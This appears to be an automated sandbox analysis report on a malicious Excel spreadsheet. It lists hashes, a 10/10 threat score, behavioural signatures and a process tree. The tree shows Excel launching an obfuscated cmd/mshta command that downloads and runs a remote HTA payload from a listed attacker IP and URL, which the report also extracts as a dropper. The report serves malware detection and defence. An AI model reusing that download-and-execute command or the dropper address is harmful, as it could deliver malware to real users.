Analysis

  • max time kernel
    133s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 20:48

General

  • Target

    ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls

  • Size

    142KB

  • MD5

    cf35dd57ccc743ae5aef84255b30ef70

  • SHA1

    0d39383fe20e21a41174191976386b1d93c51ddd

  • SHA256

    ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7

  • SHA512

    c3c2652136fac4be4b3d8dcbf0e782379a17427e5758e1ae3bee12b86bd21b677c4e1ca366d2f923a2610d1212a45ef36e4a600eca38ad7e48b04fc73d92028b

  • SSDEEP

    3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1984
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3200
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          PID:1544
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:4860

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        1KB

        MD5

        94d84ced19926ff41dae805ca241172a

        SHA1

        244b15a0e88a03977d91b66db4b8f8f636c66220

        SHA256

        1f73b8ae3c2345c6cb2f920fa3ad3e1e810fc7977fd7c47bbce58da651822ddc

        SHA512

        f33dba20ee3e0fa571dae9cc7e0ec7ab566cab894e8489ad46a9e3760a42cfb8a862b125ce8d0c1c2baac392c6aa89ff5eb4c3bba468414b5f145c380b709d05

      • memory/3576-6-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-4-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

        Filesize

        64KB

      • memory/3576-16-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-15-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-8-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-7-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-10-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-9-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-11-0x00007FFD1D390000-0x00007FFD1D3A0000-memory.dmp

        Filesize

        64KB

      • memory/3576-12-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-13-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-2-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

        Filesize

        64KB

      • memory/3576-3-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

        Filesize

        64KB

      • memory/3576-0-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

        Filesize

        64KB

      • memory/3576-1-0x00007FFD5FC8D000-0x00007FFD5FC8E000-memory.dmp

        Filesize

        4KB

      • memory/3576-20-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-22-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-21-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-19-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-18-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-17-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-14-0x00007FFD1D390000-0x00007FFD1D3A0000-memory.dmp

        Filesize

        64KB

      • memory/3576-33-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-34-0x00007FFD5FC8D000-0x00007FFD5FC8E000-memory.dmp

        Filesize

        4KB

      • memory/3576-38-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

        Filesize

        2.0MB

      • memory/3576-5-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

        Filesize

        64KB